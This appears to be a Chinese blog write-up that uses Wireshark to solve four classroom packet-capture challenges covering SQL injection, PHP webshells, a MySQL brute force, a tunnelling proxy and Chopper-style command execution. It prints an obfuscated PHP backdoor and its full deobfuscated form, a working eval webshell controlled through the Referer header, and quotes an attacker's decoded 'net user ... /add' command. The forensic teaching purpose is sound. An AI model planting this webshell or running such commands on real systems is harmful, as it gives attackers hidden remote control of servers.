Wireshark使用及例题分析


例题为课堂使用的数据包

1.pcap

题目要求:
1.黑客攻击的第一个受害主机的网卡IP地址
2.黑客对URL的哪一个参数实施了SQL注入
3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)
4.第一个受害主机网站数据库的名字

直接使用wireshark打开流量包,然后我们过滤HTTP协议可以看到202.1.1.2192.168.1.8进行了疯狂的爆破
在这里插入图片描述
这是因为黑客利用的SqlMap在对目标站点进行不断的SQL试探注入

因此受害主机的网卡IP地址为**192.168.1.8 **

注入的参数也明显为list[select]
在这里插入图片描述
接着我们任意选取一条数据追踪sql注入的tcp流

在这里插入图片描述
在这里插入图片描述

就可以看到数据库为MariaDB,表前缀为ajtuc_,最后找数据库名,就要找url中包含schema关键字的,解析后大概率就是数据库名

在这里插入图片描述
再使用十六进制解码,数据库名就是joomla

2.pcap

题目要求:
1.黑客第一次获得的php木马的密码是什么
2.黑客第二次上传php木马是什么时间
3.第二次上传的木马通过HTTP协议中的哪个头传递数据

由于题目一已确定目标ip,所以依旧使用以下过滤简化操作

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

过滤完成之后,发现一个IP请求了一个名为kkkaaa.php的php文件,对php后缀文件要特别关注一下

跟进POST数据查看,不难发现,是明显的一句话木马,密码就是zzz
在这里插入图片描述
然后我们要确定黑客第二次上传php木马的时间

再次过滤,猜想第二个木马应该是根据第一个来上传的
在这里插入图片描述

过滤出的几个包除了第一个,第三个有明显的length变化

再次追踪tcp流,

在这里插入图片描述
可以看到z2不同与z0,z1是采用16进制,我们复制后解码,得出本体:

<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
?>

再还原后就是:

$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

检查后发现create_function函数,这个函数是可以执行命令的
说明黑客是利用了create_function函数来上传了自己的木马

第二次上传时间也就是如下
在这里插入图片描述
对下面代码进行分析,这两行代码是获取http请求中的referer和accept_language字段的,与数据包产生了交互
在这里插入图片描述所以可以基本断定这两个字段是黑客用来传输他想执行的命令的

再次过滤(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http,后对随便一个包进行查看

可以看到许多请求footer.php的页面,点开一个查看详情
在这里插入图片描述

容易发现referer数据十分可疑,而ACCEPT_LANGUAGE较为正常

所以可以基本确定,木马通过HTTP协议中的**Referer**头传递数据

3.pcap

题目要求:
1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)
2.php代理第一次被使用时最先连接了哪个IP地址

根据题目要求mysql,直接j进行过滤,tcp contains "mysql" && mysql

得到大量数据,可以发现黑客应该在对Mysql的登录进行爆破,内网受害机器为192.168.2.20
在这里插入图片描述
对最后一条登录数据进行查看

得出:
username:admin
Passwordhash: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
在这里插入图片描述

再对http进行过滤(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

可以发现目标机器已经被挂上了tunnel.php,方便外网对内网的访问,点击查看就可以看到php代理第一次连接的IP地址是4.2.2.2,端口是53

在这里插入图片描述

4.pcap

题目要求:
1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
2.黑客在内网主机中添加的用户名和密码是多少
3.黑客从内网服务器中下载下来的文件名

为确定黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候,我们继续进行过滤

其中Windows中是dir,linux中是ls

(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")
在这里插入图片描述
追钟tcp流,可以发现ls的没有执行成功,dir的执行成功
在这里插入图片描述
在这里插入图片描述
时间:
在这里插入图片描述

既然该192.168.2.20的机器可以执行命令,于是我改变过滤方式,查看黑客如何进行攻击

ip.addr == 192.168.2.20 && http

黑客利用echo命令写入了一个名为sh.php的后门
在这里插入图片描述
我们进一步跟进黑客执行的指令,由于是中国菜刀流量,我们选择根据回显明文,猜测指令,这样更有效率

ip.src == 192.168.2.20 && http

发现一条可疑数据,判断黑客应该是执行了net user的命令

在这里插入图片描述
接着查看后继的报文,发现黑客再次执行了net user命令,此时回显为:
在这里插入图片描述
此时黑客大概成功添加了管理员用户kaka

再次过滤,判断kaka用户从出现到成为管理员间隔,判断出作案时间
在这里插入图片描述

对比查找找到不同寻常的请求

通过base64解码后可得:cd/d"C:\phpStudy\WWW\b2evolution\install\test"&net user kaka kaka /add&echo [S]&cd&echo [E]

得出用户名,密码分别为kaka,kaka

最后既然是下载,那我们只需过滤出post流量,查看命令即可
ip.dst == 192.168.2.20 && http.request.method==POST

再通过查找,发现如下:

在这里插入图片描述

解码后发现了文件lsass.exe_180208_185247.dmp
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Wireshark是一款开源的网络协议分析软件,可以用来捕获和分析网络流量。通过Wireshark流量分析,我们可以了解网络中传输的数据包的内容、协议类型、源与目的地址、数据大小等信息,从而帮助我们诊断网络问题、优化网络性能、检测网络安全问题等。 Wireshark可以捕获各种网络协议的数据包,包括TCP、UDP、HTTP、FTP等。我们可以通过Wireshark来捕获特定源或目的地址的数据包,也可以过滤特定的协议类型或数据内容,以便更好地观察和分析网络流量。 当我们进行Wireshark流量分析时,首先需要选择合适的网络接口进行数据包捕获。然后,我们可以开始捕获数据包,并在Wireshark的界面上观察捕获到的数据包的详细信息。通过查看数据包的各种字段,我们可以分析出数据包的来源与目的地、传输的协议类型、通信过程中的状态等信息。 除了对网络流量进行实时分析外,Wireshark还提供了一些统计功能,可以帮助我们对捕获的数据包进行更细致的分析。例如,我们可以查看某个特定协议在流量中的占比,或者分析某个特定源地址或目的地址的通信情况等。 总之,通过Wireshark流量分析,我们可以深入了解网络中的数据传输情况,发现潜在的网络问题,提高网络性能,确保网络安全。因此,Wireshark网络工程师和安全专家必不可少的利器。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值